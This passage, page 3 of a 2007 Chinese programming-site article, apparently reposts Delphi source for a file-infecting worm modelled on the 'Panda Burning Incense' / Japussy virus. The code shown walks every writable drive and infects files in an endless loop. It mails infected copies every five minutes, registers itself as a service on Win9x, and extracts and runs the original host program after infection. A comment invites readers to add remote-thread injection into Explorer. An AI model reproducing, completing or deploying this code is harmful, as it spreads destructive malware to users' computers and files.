站内文章搜索
您现在的位置: IT坊资讯网 >> 编程开发 >> 程序开发 >> Dlephi >> 文章正文 立即注册会员投稿
[熊猫烧香]核心源码(Delphi模仿版本)
作者:admin 文章来源:IT坊学院 更新时间:2007-5-8 0:38:46           ★★★
  SubDir.Add(SearchRec.Name);
  until (FindNext(SearchRec) <> 0);
  end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
  LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
  IsJap := True; //***吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
  for i := Len downto 1 do //遍历每个磁盘驱动器
  LoopFiles(DriverList[i] + ':', '*.*'); //感染之
  SendMail; //发带毒邮件
  Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
  RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
  //远程线程映射到Explorer进程
  //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
  TmpFile := ParamStr(0); //创建临时文件
  Delete(TmpFile, Length(TmpFile) - 4, 4);
  TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
  ExtractFile(TmpFile); //分离之
  FillStartupInfo(Si, SW_SHOWDEFAULT);
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
  0, nil, '.', Si, Pi); //创建新进程运行之
  InfectFiles; //感染和发邮件
end;
end.


上一页  [1] [2] [3] 

  • 上一篇文章: 没有了

  • 下一篇文章: 没有了
  • 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    没有任何图片文章
    看本文的网友还看了:
    网友看的热门文章:
     
    招商信息
    视觉焦点

    没有任何图片文章

    设为首页 - 加入收藏 - 关于我们 - 广告合作 - 友情链接 - 投稿与建议 - 版权申明 - 帮助中心

    Copyright©2004--2007 www.ithov.com IT坊资讯网版权所有
    网站客服QQ群 ①群15569476 ②群19439244 ③群20730522 ④群31220781 ⑤群7190232
    未经授权禁止转载、摘编、复制、盗链或建立镜像.如有违反,追究法律责任.
    鄂ICP备05000249号
    本站提供的所有资源均来自互联网,下载纯属学习交流之用,如侵犯您的版权请与我们联系,我们会尽快改正!请在下载24小时后删除